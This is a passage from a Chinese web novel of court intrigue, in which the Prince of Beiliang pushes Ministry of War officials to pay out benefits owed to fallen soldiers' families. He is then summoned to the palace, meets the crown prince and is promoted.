绕过兵部正门里那扇巨大的影壁墙,沈凡豁然看到,宽阔的前院里聚集了上百名军士,这些军士又都围成一圈看着什么? 沈凡一眼就认出来了,这些军士正是从大理寺被放回来的那些人。 挤进人群,沈凡就看到了被五花大绑,被两个军士按住的王广,还有一个正对他拳打脚踢的军士。 沈凡脸上的肌肉抽动了一下,冲那个军士猛扑过去,反手就拧住了他正在挥动的胳膊。 这一下来得实在太突然,那军士毫无防备,仓促间一个转身,用没被制服的另一条手臂向沈凡打去。 沈凡用另一只手抓住他挥来的胳膊,将其两臂全抓住,紧跟着一记头槌正中对方眼窝,随即一个正蹬将其踹倒。 “我的妈呀!”疼得那军士大叫一声,捂着脸在地上不住打滚。 按着王广的那两名军士见状,本能就冲沈凡扑了过来。 可他们刚有动,一人就被丁奉一个扫堂腿扫倒在地,另一个被徐盛一拳击在小腹上,闷哼一声趴在地上。 眼见其他军士要围过来,沈凡立刻大喝一声道:“不认识本王了吗,我看你们谁敢上来?” 这一切发生在瞬息间,直到这时那些军士才看清来人是北凉王。 他们都是沈凡带到大理寺盘查,又刚被放回来的。 本就惊魂未定,再看到沈凡更是惊恐,不由竟都纷纷跪倒在地,七嘴八舌道着‘见过北凉王’。 沈凡也不理他们,知道打蛇打七寸,指着那个殴打王广的军士道:“把他给本王拿下!” 丁奉和徐盛扑上去,每人抓住他一条手臂按在地上。 沈凡解开王广身上的绳索问:“怎么回事?” “王爷!”王广道:“小人是跟着他们一起回来的,他们说小人吃里扒外……” 说到这时王广哽咽了,泪目看向那上百名军士。 不用王广多说,沈凡已经明白了,是这些军士因去了大理寺而怨恨王广。 “这个打你的人是谁?”沈凡指着被丁奉和徐盛按在地上的军士问。 王广道:“他是陈军曹。” 大夏的官制中,军曹是管军队事务的官员,职责是管理军队日常事务、监督训练、负责军需的采购等。 从七品到正六品,属较低级别的军事官职,但比王广的官职大。 沈凡走到这个陈军曹身前道:“我问你,为什么要打王校尉?” 陈军曹眼中明显带着几分惊恐,不过还是梗着脖子回道: “小人也不瞒北凉王,就是他害得我们被带去了大理寺,刚才赵大人骂了小人。 说我们这些人以后都不值得再重用,大伙心中不甘,所以小人才打了他。” 沈凡看向其他军士问道:“是这样么?” 那些军士皆低头不答,可从神情上能看出,他们是默认的。 沈凡脸色阴沉下来,可又不好发作。 一来自己的身份是户部的人,不好对这么多兵部军士发火。 二来他知道这里的深层原因,既官官相护,一损俱损,一荣俱荣的想法在作怪。 这些军士被带到了大理寺,就变相丢了兵部的脸面,即使是在知道朱淘利犯了法的情况下,也会失去正义感,被上峰利用。 看来兵部的水可够深的…… 沈凡对这个‘上峰’来了兴趣,看向陈军曹问道:“你说的赵大人是谁?” 陈军曹的身子抖了一下,没回答。 侧旁的王广道:“赵大人是兵部侍郎,名叫赵应龙。” “王广,你的胆子还真大?”陈军曹瞪着王广来了句。 看到神情里带着威胁的陈军曹,王广的身子也抖了一下。 就在这时,二门处突然传来一声断喝:“陈军曹,本官什么时候说过那些话了?” 随着话音落下,一个男人带着两名亲随挤进了人群。 一看到此人,跪在地上的那些军士都将头都低了下去,王广也下意识跪在了地上。 沈凡看到,此人身穿四品深绯色官袍,年龄大概有五十出头,身材不高,脸型消瘦,一双眼睛却极是凌厉。 不用问,定是王广说的那个兵部侍郎赵应龙。 赵应龙仿佛没看到沈凡,径直来到陈军曹身前,不由分说照着他的脸就是两个耳光。 这两记耳光力道极重,打得陈军曹的牙当场掉了两颗,张嘴喷着血沫子,支支吾吾喊着:“大人,大人”,却不敢多说一个字。 赵应龙骂道:“大什么人,竟然敢诽谤上峰,本官看你是活腻歪了?” 说着又抡起巴掌继续打,只是在打的同时,眼睛余光却瞄向旁边的沈凡,暗中观察着对方的表情变化。 见此情景的沈凡非但没有阻止,反而还示意丁奉和徐盛把陈军曹架好,确保赵应龙的每一个嘴巴都能准确无误扇到位。 然后……就默默看着来的这位赵大人表演。 从此人刚才说的话和举动来看,就是想用高位封陈军曹的嘴,其实却是不打自招。 我倒要看看你的戏还能演多久? 第六十三章:节外生枝 就在沈凡非常感兴趣,这位陈军曹能挨多少耳光时,赵应龙在打了二十几下后却停手了。 因为不停手不行了,陈军曹已经口鼻窜血昏了过去,再打非出人命不可。 偏偏这时,蔫儿坏的丁奉对赵应龙道:“大人,要是不方便我帮你您。” 说着抓住陈军曹的头发,将他的脸扬了起来。 赵应龙嘴角一抽,就当没看见,转身对着沈凡拱手施礼道: “臣兵部侍郎赵应龙,不知北凉王驾到还请恕罪。” 老家伙,这就想糊弄过去……沈凡拱手还礼道:“赵大人多礼了,本王就想问你一句,陈军曹刚才说的是实情么?” 赵应龙仰着脸,语气坚决的道:“不可能,王爷千万不要信他的话,不然臣也不能打他。” 听到这话的沈凡看了眼半死的陈军曹,知道自己这是秀才遇到兵,有理说不清,只能到此为止了,笑了笑道:“本王信大人。” “谢王爷信任。”赵应龙笑着道,紧接着脸色严肃的对身边的亲随道:“把陈军曹带下去治伤,停职待勘。” 陈军曹被带走后,赵应龙又恢复了笑脸看向沈凡道:“王爷,有件事不知当不当问。 就是我兵部的朱淘利、刘利、马马卫到底犯了什么事?” 沈凡反问:“赵大人不知道他们的事么?” 赵应龙现出茫然的神情道:“听这些军士回来说,他们三人是因病亡军士的抚恤金被抓进大理寺的,至于具体是什么事臣哪清楚。 当然,王爷要是不方便说,就全当臣没问。” 沈凡略微思索了一下,觉得可以将这件事告诉兵部的人。 一来让这些军士知道,将他们弄到大理寺绝非偶然,二来可以震慑一下这些骄兵悍将,三来也可以给王广撑撑腰。 想到这的沈凡对赵应龙道了句:“没什么不方便的。” 然后转身看向跪在地的那些兵部军士朗声道:“本王告诉你们,朱陶利、刘利、马卫三人克扣京师之地四千余病亡将士军属抚恤金。 在大理寺他们已经招供了,罪证已被丹阳公主送往皇上那里。” 听完这些话,兵部的这些军士如遭雷击般呆立当场。 他们是知道朱淘利三人犯了罪,可却不知道犯了这么大的罪。 贪污抚恤金与克扣军饷都是大罪,会受到严厉的律法制裁,一经查实,无论官职大小都会被斩立决。 沈凡不在理这些军士,看向赵应龙忽然发问:“赵大人,你和这件事没有关系吧?” 说着就观察起赵应龙的反应来。 这话问得明显带着威胁,同时也带着探查。 虽然沈凡知道,这个赵应龙八成不知道这事,只是有枣没枣打一杆子。 因为对朱淘利用的刑询已达到了极致,就算这事有他亲爹亲妈参与也会招出来的。 果不出所料,赵应龙闻言大惊,毫不思索的回道:“北凉王说的这是什么话,臣和这事绝无任何关系!” 排除了赵应龙的嫌疑后,沈凡再次看向那些军士道: “现在你们明白了吧,如果没有王广及时通知本王,让本王对朱淘利抢人有所准备。 一旦朱淘利带着你们把刘利和马卫抢走了,你们就算不知情也难逃干系,就是说王广此举是帮了尔等。” “王爷,我们知错了。” “感谢王爷,我们知错了。” “我们错怪王广兄弟了……”上百军士纷纷对沈凡道。 一旁的王广则眼中湿润看向沈凡,感激的一时说不出话。 “知道错了就好。”沈凡道了句,对赵应龙道:“赵大人,麻烦你让他们都下去吧。 你是侍郎,本王的差事跟你说也行。” “王爷还有差事……”赵应龙忙对那些军士挥挥手道:“都下去,都下去。” 众军士退了下去,王广在走的时候一直在用感谢的目光看着沈凡。 军士们走后,赵应龙对沈凡拱手道:“王爷,有事请到堂内说话。” “不必了。”沈凡道:“这件事很急。” 说着就将长公主的玉佩拿了出来,将要求兵部立刻派人发放病亡军事抚恤金的事言说了。 本以为这位兵部侍郎会立刻执行,可让沈凡没想到的是,赵应龙却现出犹豫的神色道: “王爷,按理说有公主的令牌,还有您亲自前来臣理当照办,不过您说现在就派人下去……未免有些难。” 沈凡纳闷的问:“你们是缺人手,还是缺银子?” 赵应龙道:“人手不缺,银子也不缺,臣的意思是还请王爷和丹阳公主容两三日,等臣求得太子令后在执行。” 沈凡不解地问:“为什么要求太子令?” 赵应龙再次拱拱手道:“王爷应该知道,早在一年前陛下就有旨意,由太子兼管吏部、礼部、兵部、刑部和工部。 您是有丹阳公主的公主令,按理说臣应照办,可如今是太子监政,这事毕竟不是户部一部的事,还请王爷体谅。” 经这一提醒,沈凡想起来是有这么回事。 几个月前丹阳公主跟自己提过一嘴,说如今六部只有户部太子没涉足。 可想到丹阳公主给自己玉牌时说,拿着她的信物就可以到兵部办理,内阁公文过几日补发的话便道: “本王理解你,不过丹阳公主说过先让兵部办理,至于公文的事她会协调。” 赵应龙还是一脸为难的道:“王爷还请不要难为臣。” 沈凡本来已经把他纵容军士欺负王广的事放下了,见他竟然拖着自己的事又不办,全然不顾自己说的话,眼睛一眯道: “刘大人,若是本王让你立刻执行呢?” 听到这话,刘应龙忽然收起了刚才的谦卑劲,眼睛也一眯道:“请问王爷,是太子殿下的大,还是丹阳公主大?” 沈凡的火气一下就上来了,说道:“刘大人怎么这么不懂变通,你可知那些病亡军士的家属有多少人衣不裹腹,日盼夜盼这点儿银子活命。” 刘应龙道:“王爷可曾想过规矩就是规矩,还请不要为难臣。” 说完这些话刘应龙还挺了挺胸,神情中带着冷漠,一副公事公办的样子。 第六十四章:兵部尚书段传福 看着刘应龙一副官老爷作风,沈凡很纳闷。 按理说没有大的过节,官场上讲究的都是和光同尘,赵应龙身为兵部侍郎应该懂得这个道理,怎么会做出这样过激的事? 转念一想,就明白了几分缘由——赵应龙是在向太子表忠心。 同时沈凡也意识到了一点,自己虽没见过太子赵锐,但由赵应龙的举动至少可以得出一个假设。 赵应龙此举是在揣摩太子的上意,如果这个假设是真的,那这位太子殿下应该是个专权之人。 当然,沈凡不希望自己的假设是对的,如果这样的话,对社稷可没有好处。 沈凡压了压火气道:“既如此,这件事就不劳赵大人费心了,本王去找段尚书。” 说完就往兵部衙门里走,哪知赵应龙却伸手挡住去路道:“王爷此举不妥,您这么做段大人也很难办。” 沈凡停下脚步:“什么意思?” 赵应龙道:“刚才臣说过,太子殿下管着兵部,段大人是兵部尚书,他也要看到太子令才好行事。” “闪开,你没权拦我,不然本王让人把你叉出去。”沈凡盯着赵应龙道。 一旁的丁奉和徐盛闻言来到赵应龙身旁,看架势只要王爷说话,他们立刻就动手。 再看赵应龙明显也急眼了,看向丁奉和徐盛喝道:“本官看你们谁敢,来人!” 赵应龙是兵部侍郎,这里又是兵部衙门,他这一嗓子喊出来不要紧,立刻就有几名亲随护在他身边。 沈凡见状道:“赵大人,看来你是真要违抗公主令了,信不信我现在就能抓了你?” 赵应龙道:“王爷休要这么讲,赵某是朝廷的官,就算抓也要有陛下或太子令才行,丹阳公主管的是户部,不是我们兵部。” 沈凡真想上去给他一巴掌,可不行。 一来对方给的理由很正当,太子就是比丹阳公主权大。 二来这和朱陶利带兵围了自己不一样,自己这个有名无实的王爷,随意殴打一位兵部侍郎就是自找麻烦。 就在僵持之时,忽闻从赵应龙身后传来一声轻喝声:“赵大人不得无礼,退下!” 赵应龙身子微微一抖,忙向侧旁退了两步,弯腰拱手道:“见过部堂大人。” 与此同时,护在赵应龙周围的几个亲随也都退后两步,面向来人低头弯腰,一副恭敬像。 沈凡闻声看去,一个男人步态端庄从内堂走了出来。 他身材微胖,留着短须,细端详其眉目神态,给人以种城府深沉之感。 不是别人,正是兵部尚书段传福。 沈凡之所以认识,是因为一年前在户部与其有过一面之缘。 当时自己在帮王灵瑶办军饷,正赶上段传富找丹阳公主办差,自己还与其客套了几句。 “原来是北凉王驾到,本官有失远迎,有失远迎啊!”段传福加快脚步来到沈凡身前拱手施礼,现出几分谄媚的神情。 看着这个自称‘本官’而不是‘臣’的段传福,沈凡心中暗想。 此举既显示了对自己王爵的恭敬,又不失一位三品大员的威严,果然姜还是老的辣。 “见过段大人。”沈凡也拱手还礼道。 段传福笑道:“王爷不必客气,日前从邸报上获悉您袭了北凉王王位,本应上门道贺,不想这几日公务太多,还请王爷见谅。 今日一见王爷的英姿,果然与一年前不可同日而语,哈哈哈……” “段大人不要客气,沈凡陪笑道:“自上次一别已有一年,部堂还是那般精神矍铄!” “老了老了,快六十六了!”段传福笑问:“本官刚才看见王爷似乎与赵侍郎在争执,不知是何缘由啊?” 沈凡当即将丹阳公主的玉佩又拿了出来,把事情的缘由说了。 为了不激化矛盾,也为了给段传福留几分脸面,最后还特意道:“刚才本王与赵侍郎并非在争执,他的话也在规矩内。 不过还请段大人看在事情紧急的份儿上,给于先行办理。” 段传福眼珠子转了转道:“本官听明白了,赵侍郎所言虽然合规,但按本官看理应先行办理。” 说着就对身边一名中年官吏道:“立刻调动人手和银两,按北凉王所说,今天就将抚恤金发下去。” 那名中年官吏顿了一下道:“回部堂大人,银两不成问题,只是这事牵扯到四千多军士家属。 如今兵部只能抽调二百名办差的小吏,今天如果都发到位恐有难度。” “这个是有些不好办……”段传福面露为难的应了声,同时看向沈凡道:“王爷,您看能不能通融两日?” 沈凡皱了皱眉,知道中年官吏说的应该是实情,自己也没考虑得这么细。 如今只剩半日,如果把四千多军属的抚恤金都发完,二百人是绝对不够的,可是…… “段大人,您看能不能想想别的办法,您是没看到那些军属,有些人已经没米下锅了。”沈凡现出恳求的神色道。 段传福当即道:“王爷别急,容我等商议一下。” 说着就把赵侍郎叫了过来,与那名中年官吏商量起来。 见段传福如此上心,为了避免有逼迫他的意思,沈凡识趣的带着徐盛和丁奉到一旁等待。 虽然离得远些,但还是隐约能听到,赵侍郎将朱淘利的事告诉了段传福。 沈凡看到,段传福只是点点头表示知道了,然后就开始商议起如何安排人手。 可他们商量来商量去,好像也没商量出一个好法子,段传福的眉头越皱越紧…… “王爷,您别急,我就不信偌大的兵部缺人手?”见沈凡的眉头也皱了起来,徐盛轻声道。 沈凡道:“兵部的情况我不清楚,但按户部的情况推算,平日能调动的办差官吏也就这些人。” 徐盛却笑了笑道:“不一样的,您别忘了,兵部可是管着京师一半的兵马呢!” “对呀,我怎么就忘了呢!”沈凡猛然反应过来,可马上又想到了什么问道:“他们有权私自调兵么?” 徐盛道:“有的,小人十几年前在兵部做过半年兵卒,遇到过如发放赈灾粮,抢修被洪水冲塌城墙这样缺少人手的事。 当时只要兵部尚书下令,就可以借调兵士帮忙,只要不带兵器就行,我想发放抚恤金应也在范畴内。” “早说呀!”沈凡大喜,转身向段传福走去。 第六十五章:见风使舵 段传福、赵应龙几人正商讨着, 眼见沈凡快步来,段传福用眼神示意大家停下。 就见沈凡对自己道:“段大人,可否借用京师的兵来办理?” 段传福微微一征了下道:“王爷这是何意?” 沈凡道:“本王刚才听护卫说,如遇到发放赈灾粮,抢修被洪水冲塌城墙这样缺少人手的事时,只要兵部下令就可借调兵士帮忙,只要不带兵器就行,对不对?” “啊……”段传福又是微微怔了下道:“对,有这样的事。” 沈凡欢喜的道:“那就请段大人快下令吧。” “呃……”段传福明显犹豫了下道:“这个……恐怕得要太子令了……” 沈凡被这话弄了个措手不及……怎么又绕回太子令上了? 就在沈凡想一问究竟时,从大门外急匆匆跑进一名校尉,对段得福道: “启禀部堂大人,来了位公公,说是有旨意给北凉王,人已经到了门外。” 什么? 听到这话段传福众人皆是一愣。 他们这些老官场之人都知道,如有圣旨下达,通常是由宦官或使者前往官员的驻地或府邸,告知其将有圣旨,而这道旨意却追到了兵部。 这说明什么,说明皇上对沈凡很重视,或是说有是很重要的事找沈凡。 段传福有些敬畏的看向沈凡道:“王爷,赶快接旨意吧。” 此时沈凡也正纳闷呢,皇上会给自己什么旨意,怎么找到了这里? 正想着,一阵细碎又有节奏的脚步声从大门处传来。 循声望去,一位头发花白,身材魁梧,穿着华丽宦官服饰的老太监,在两名小太监的陪同下走了进来,正是大内总管魏珊瑚。 这位魏大总管进门后,先是用平和的眼神扫过院子里的每个人,最后将目光停留在沈凡身上,现出一抹不卑不亢的笑意。 “哎呀,原来是魏大总管驾到,下官有失远迎,有失远迎啊!” 没等沈凡说话,段传福已是一脸惊愕迎了上去,对着魏珊瑚拱手施礼道。 他与魏珊瑚都是正三品官员,按理说是平级,但魏珊瑚的身份实在特殊了。 为了讨好对方,段传福竟以下官自居。 同时他也更加确定自己的判断,皇上对沈凡很重视,不然不会由这位大内总管亲自来传旨。 面对这位谦卑过了头的兵部尚书,魏珊瑚只是含笑点了点头,然后再次看向沈凡,清了清嗓子道:“北凉王接皇上口谕。” 魏大总管的声音尖细而清晰,在院中回荡着,随着话音落下,所有人的目光都聚焦在了沈凡身上。 沈凡当即燎衣袍跪在地上道:“臣,北凉王沈凡恭听圣上口谕。” 魏大总管挺起胸膛,目光平视前方道:“皇上口谕,传北凉王即刻进宫见驾。” 魏大总管说这些话时语速适中,字字清晰,还刻意学着神武帝的语气,带着一股不可抗拒的皇权之力。 “臣,遵旨。”沈凡回了句问:“魏总管,可知陛下召见我是什么事?” 侧旁的段传福,赵应龙听到这话时都竖起了耳朵。 魏总管笑而不答,微微欠身将沈凡扶起来轻声道:“王爷,咱们还是路上说吧。” 从魏总管的表情里沈凡看出来了,应该不是什么坏事,说道:“也好,不过请魏总管稍等一下,我跟段部堂说句话就走。” “请王爷快些。”魏总管道,依旧是笑眯眯的。 沈凡点点头,转身看向段传福道:“段大人,咱们的事您看怎么办,您得给本王一个准信呀。” 此刻,段传福的表情已经从呆若木鸡转为了展开笑颜。 官场老油条的他已经意识到了,皇上召见沈凡绝对是好事。 不然魏大总管不会说出‘咱们还是路上说’的话,且脸上还带着笑。 这是在向沈凡表达善意,这样的人是不能得罪的,要是他在圣上面前说了什么不好的话,自己会吃不了兜着走的。 段传福毫不犹豫的回道:“王爷,臣等已经商量完了,这件事不但能办,而且还能马上办。 银两即刻从兵部银库里取,至于人手嘛……臣决定动用九城兵马司的人,那里可以调动至少上千军士。” 沈凡嘴角一抽,问道:“大人不是说得请太子令么?” 段传福现出一副忧国忧民的神情道:“原本是要如此的,不过臣想起来了太子曾说过,遇到紧急之事臣可先行处置。 王爷您这事可是大事,如果人手还不够的话,就算臣亲自下去发,也不能让那些浴血奋战的将士家属们寒了心!” “对对对,部堂大人说得对,我等绝不能让将士家属们寒了心!”赵应龙紧跟着道。 么的,见风使舵的速度还真快…… 沈凡豁然有悟,刚才段传福原来是在敷衍自己,此人与赵应龙都是蛇鼠一窝,看来跟他们打交道还得多留几个心眼。 沈凡想是这么想却不点破,对段传福笑着拱手道:“如此甚好,那就多谢两位大人了。 不过本王也清楚兵部的人手确是不够,这样,本王把两个护卫留下做个帮手如何?” 不待段传福回话,徐盛立刻上前轻声道:“王爷,您身边不能没有护卫。” 沈凡微微一笑道:“你家王爷是进宫面圣,用不着护卫,你和丁奉协助好二位大人就行。” 说着还给了徐盛一个眼色。 徐盛这才明白自家王爷的意思,想想也是,王爷进宫面圣能有什么危险? 拱手道:“小的明白了,请王爷放心。” 段传福这边早就反应过来了,知道北凉王这是对自己不放心,特意留两个护卫看着,当即也道: “请王爷放心,臣一定把这件事办好。” “本王放心,放心。”沈凡对段传福拱了拱手,跟魏总管出了兵部。 沈凡走后,段传福立刻安排两名军士拿着他的手令去九城兵马司调兵,又安排人开库取银。 按四千病亡军士算,人均十二两就要取出五千多斤银子。 调兵的事徐盛和丁峰插不上手,于是他们就帮着兵部军士将这些银两分成若干份包好。 趁着这个机会,赵应龙对段传福小声道:“大人,可否借一步说话。” 段传福眼中闪着幽幽的光,点点头跟赵应龙往内院走去。 第六十六章:进宫 赵应龙将赵应龙带到背静处道:“还请大人恕罪,不是下官不执行北凉王的话,毕竟太子殿下那里……” 段传福摆手打断了他道:“不要说了,我知道你的意思,你做的对,不然我刚才也不会用太子令来挡事。” 说到这时段传福咬了咬牙,继续道:“只是没想到,皇上对这个后进王爷竟如此器重?” “下官明白。”赵应龙也咬牙道:“没想到这个北凉王一来就拿咱们兵部开刀。” 段传福摇摇头道:“你错了,其实这个北凉王并不可怕,可怕的是他背后那只老虎,且还是只母老虎。” 赵应龙吸了口气道:“您是说丹阳公主?” 段传福点点头道:“太子曾说过,如今在朝堂上能与他抗衡的只有这个丹阳公主,本官看北凉王只是她的一条忠犬罢了。” 赵应龙不解的问道:“她只是一个公主,又继承不了大统,太子殿下因何如此忌惮?” “你懂什么?”段传福道:“丹阳公主是陛下手中的一枚棋子,是专门用来制衡太子殿下的。” 赵应龙:“不是说皇上现在一心玄修么?” 段传福:“那你就太小看咱们这位圣上了,看在你我共事多年的份上给你一个劝告。 以后凡遇到与丹阳公主有关的事千万不要冲动,一切都要等本官请示了太子殿下后再定夺。” 赵应龙道:“下官明白。” 段传福见他这么说,心下黯然的道:“明白就好,今天务必要把事办完,至于太子殿下那边我来办。” 赵应龙点点头,继续部署去了。 段传福则走进内堂,支走旁人,取出笔墨奋笔疾书起来。 他要给太子殿下写信,把今天发生的事都告诉他。 …… 沈凡是与魏珊瑚同乘一辆车去往皇宫的,他那匹很普通的马,则被大内侍卫牵着同行。 从外观看,魏珊瑚的车与丹阳公主的车驾没法比。 既没有豪华的装饰,也没有镶金嵌银,看上去就是辆极其普通的马车,行驶在街上毫不起眼的那种。 可一进车厢,沈凡就发现了不寻常。 车内的装饰是金碧辉煌,除了车窗外,整个内车身都包裹着厚厚的铜皮,具有很强的防御性。 车内的座椅是由玉石雕刻而成,上面铺着厚厚的虎皮褥子,坐上去非常舒适暖和。 果然不愧为三品大内总管太监,只是一辆座驾就如此豪华,这让沈凡变相解了魏珊瑚外收内放的性格。 正想着,魏总管已是给自己递来一杯茶道:“王爷不是想问咱家皇上找您何事吗?” 沈凡拱拱手道:“如果方便,还请魏总管告知。” 魏总管笑呵呵地道:“王爷不必如此,这是好事,咱家自会跟您说。 刚才丹阳公主殿下和大理寺卿岳镇振江见了陛下,陛下已经知道了朱淘利贪污抚恤金的事,对王爷第一次办差就能查出这么大的案子深感欣慰。” 沈凡道:“原来是这事,这不全是我的功劳,还有丹阳公主殿下和大理寺卿岳大人的功劳。” 魏总管摆摆手道:“这个陛下自然知道,陛下更看重的是你发现西北道贪功冒赈,还有巾帼将军和郑天泽用兵过狠之事,所以才让咱家找王爷面圣。” 一听这话沈凡来了兴趣,问道:“魏总管,不知皇上要如何处置这两件事?” 魏总管道:“皇上已经召巾帼将军和郑天泽进宫了,他们的事证据确凿,估计这会正挨训呢。” 沈凡嗯了声……想到王灵瑶被训,心里多少有些不是滋味,将话题转移到西北道: “魏总管,西北道是否有贪功冒赈,我只是凭西北一些阵亡将士家书的猜测,不能确定,不然丹阳公主也不会进宫让陛下定夺。” 闻听此言的魏总管眼一眯,闪现出一抹精光道:“没有空穴来风的事,皇上已经召见了太子殿下,看样子会彻查。” “太子殿下也在?”沈凡问。 魏总管问道:“王爷是不是没见过太子?” “没有。”沈凡道:“敢问大总管,太子殿下的脾气不好吗?” 魏总管想了想道:“威严自不能言说,总之王爷见了太子说话要谨慎。毕竟您这次见的是两条真龙。” 沈凡拱手道:“多谢大总管,我知道了。” 魏总管也拱拱手,却不再说话,靠着虎皮闭目养神。 透过车窗上锦帘的缝隙,沈凡看到车驾已是进了皇城。 那些守门禁的御林军都认识魏总管的车,一路畅通无阻直奔大内禁地。 不过让沈凡没想到的事,车驾并没有去往自己面圣时去的凤鸾阁,而是向西拐走甬道,停在一座高墙大院前。 在魏总管的引领下,沈凡进了大院。 就见这里的建筑风格独特,正殿建在高大的石台上,站在下方只能看到殿宇的黄色屋脊。 院内有十几颗矮松,两侧有东西耳房与回廊相连,既没有金銮殿的恢弘,也没有凤鸾阁的舒适,反而给人一种阴冷的感觉。 见沈凡东张西望,魏总管轻声道:“王爷没来过吧,此处乃陛下清修的西苑,上方的殿宇寓意与天相接,随咱家来吧。” 沈凡嘴角微微一动,随着魏总管拾阶而上。 走到一半时,才看到大殿门口站着十几名大内侍卫,个个手握刀柄警戒着。 一阵闷哼声从侧旁传来,引起了沈凡的注意,循声望去不由吃了一惊。 就见一人跪在石台上,一名侍卫正挥鞭抽向他,每一鞭都将他后背打出一道血条。 再看那被打之人,每承受一鞭都疼得他发出一声痛苦的呻吟,不是别人,正是郑天泽。 见沈凡走了过去,魏总管也跟了过去,对那侍卫道:“怎么回事?” 此时那名侍卫已将鞭子收了起来,对魏总管拱手道:“回大总管,是皇上下令打的,一共十鞭。” 沈凡明白了,这定是皇上对郑天泽用兵过狠的惩罚,下意识问道:“王灵瑶挨打了么?” 侍卫不认识沈凡,用询问的眼神看向魏总管。 与此同时,一直低头的郑天泽听到熟悉声音后,立刻抬头看向沈凡,眼里带着几许愤恨几许震惊…… 第六十七章:见太子 郑天泽愤恨的是,自己刚才还在王家与灵瑶大摆宴席,准备好好庆祝她被太子殿下赐匾,没想到却双双被皇上叫进了宫。 原想皇上又会有什么恩赏,毕竟灵瑶刚被皇后认了义女,不曾想一见面,皇上就问起了自己和灵瑶在西北用兵过狠的事。 本来自己想皇上应该没什么证据,刚狡辩几句,丹阳公主就直接把沈凡查出的事说了,还拿出了其他军士的口供。 皇上大怒,才命禁军打了自己。 震惊的是这小子怎么进宫了? 看着沈凡春风得意的神情,郑天泽明白了,这定是被皇上召见领赏的。 么的,查老子不算,到现在还惦记着老子的女人! 沈凡,老子与你势不两立…… 就在郑天泽乱想时,就见魏总管指着沈凡对那侍卫道:“你看咱家作甚,这是新晋北凉王,回话就是。” 侍卫忙对沈凡施礼道:“回北凉王的话,陛下没有打巾帼将军,她现在还在殿里跪着呢。” 虽然沈凡知道,就算王灵瑶被打也是罪有应得,可听到这话还是不由松了口气。 这时忽听到身下传来一声压抑的嘶吼:“沈凡!” 低头看去,就见郑天泽仰着脸正看着自己,五官因为疼痛和愤怒都在扭曲着,眼中好像要喷出火来。 沈凡知道郑天泽恨自己,要是在别的地方早就一脚踹过去了,可这里是皇城,不好造次。 俯下身子,伸手轻拍着他的脸,面带微笑道:“郑将军,你应该叫我王爷,王爷知道不?” 言罢不在理他,跟着魏总管向大殿走去。 同样,郑天泽在这皇宫也不敢造次,只能怒目瞪着沈凡消失在殿里的背影,鼻翼一张一合,口中不断念叨着:“沈凡,沈凡,沈凡……” 刚进入大殿时,沈凡的眼睛很不适应,因为外面的太阳太刺眼,大殿内又太过昏暗。 好在殿内很深,走了几步已是适应了这里的昏暗。 沈凡看到,这处殿宇与凤鸾阁不同,除了书桌、书案、书柜这样的寻常之物外,四周皆挂满了道家符咒,看上去更像个道观。 坐在龙椅上的神武帝身穿道袍,将身子伏在桌案上,举着几张纸看得入神。 沈凡一眼就认出来了,是自己给丹阳公主的张硕的家书。 皇帝宝座的下方,站着身材消瘦的大理寺卿岳振江,体态丰盈的丹阳小公主,还有一个二十出头的年轻男子。 就见这个男子的样貌与神武帝有几分相似,身穿四爪金龙袍,面如冠玉,五官精致。 细看之下,却难掩嘴角划过如刀锋般的弧线,那是一种视众生为蝼蚁的藐视。 不用问,能穿四爪金龙袍的一定就是当今太子赵锐。 很快,沈凡的目光就从赵锐的身上,转移到了另一个人身上。 她身穿五品武官官袍,面向皇帝而跪,双肩微微颤抖低声哭泣着,正是王灵瑶。 看到她楚楚可怜的样子,沈凡不由叹了口气,心道早知今日,何必当初! 这时神武帝恰好看完了信,抬头见沈凡站在下方发楞,问道:“沈凡,你发什么呆? “哦,哦……”沈凡忙收敛心神,跪地参拜道:“臣拜见陛下。” “起来吧。”神武帝道:“你的差事办得不错,一下就发现了三件事,朕很欣慰。” 沈凡起身的回道:“陛下过奖了,这事不是臣一人所为,也有丹阳公主和岳大人的功劳。” 听到这话,丹阳公主的嘴角一翘,现出满意的笑意。 岳振江则不失机会对着沈凡点头微笑,尽显恭敬之意。 因为王灵瑶是背对着沈凡的缘故,直到皇帝说话才知道是沈凡来了。 此刻的她不敢回头看沈凡,只是盯着地上的石砖,眼神里充满哀怨。 神武帝对沈凡的谦逊很满意,似乎想到了什么,指着一旁的赵锐道: “你们没见过吧,朕给你介绍一下,这位就是太子。” 皇帝亲自介绍,沈凡自不敢怠慢,转身面向太子赵锐跪倒在地道:“臣,沈凡见过太子殿下。” 赵锐含笑伸手虚扶道:“北凉王快请起,本宫已经听丹阳说了你的事,很好,果然是虎父无犬子!” 好像你和我父王很熟似的……沈凡也还以笑意道:“谢太子殿下。” 这时高处传来了神武帝的声音:“沈凡,如今是太子监政,除了朕你也要好好辅佐他。” 沈凡有些迷茫地看了眼神武帝,暗道我一个七品小官怎么辅佐太子? 不过还是对着神武帝施礼道:“臣明白。” 听到这话的赵锐却是暗中一惊,不过他马上就拉住沈凡的手道:“父皇请放心,北凉王是个人才,儿臣一定会用好他的。” 说着还特意看向沈凡,脸上满是笑意。 因离得很近,沈凡发觉赵锐笑得有些假,眼底还带着一丝冷酷,总感觉这家伙阴得呼啦的。 就在这时,忽听丹阳公主笑了声道:“父皇,沈凡现在只是个七品小吏,连见儿臣都很难,怎么辅佐太子?” 神武帝被这话逗得一乐,用手点指丹阳公主道:“你这个丫头,这是在给沈凡要官呢对不对?” 丹阳公主笑嘻嘻的道:“沈凡是户部的人,他升官儿臣脸上也有光不是!” 丹阳公主说这话的目的有二。 一是替沈凡讨官,二是变相向父皇和太子宣告沈凡是她户部的人。 神武帝自然了解女儿的小心思,看破不点破的道:“也好,沈凡此次办差是有功的,朕叫他来就是要赏他。 这样,就升他做个六品官吧,至于做什么官,还是由你这个户部尚书定。” 不想丹阳公主却撅着小嘴道:“父皇,您这也太什么点儿了,就给他升了一级,连太子刚才都说沈凡是个人才呢!” 说到这里时,丹阳公主还特意看向赵锐问道:“是不是呀太子殿下。” 其实赵锐是不想沈凡升官太快的,毕竟他是丹阳公主的人。 可一时又想不出什么对策,再说父皇还没说话,只好笑着点点头,伺机而动。 “哈哈哈……”神武帝笑得更厉害了,说道:“那就再升一级,给他个五品如何?” 第六十八章:感觉比人矮了半截 当听到皇上要给沈凡连升两级时,跪在地上的王灵瑶身子不由一震。 自己拼死拼活才做了个正五品巾帼将军,没想到这个沈凡只当了一天差,皇上就要给他升到五品了。 想到大殿外被鞭刑的郑天泽,她对沈凡的怨气更浓了…… 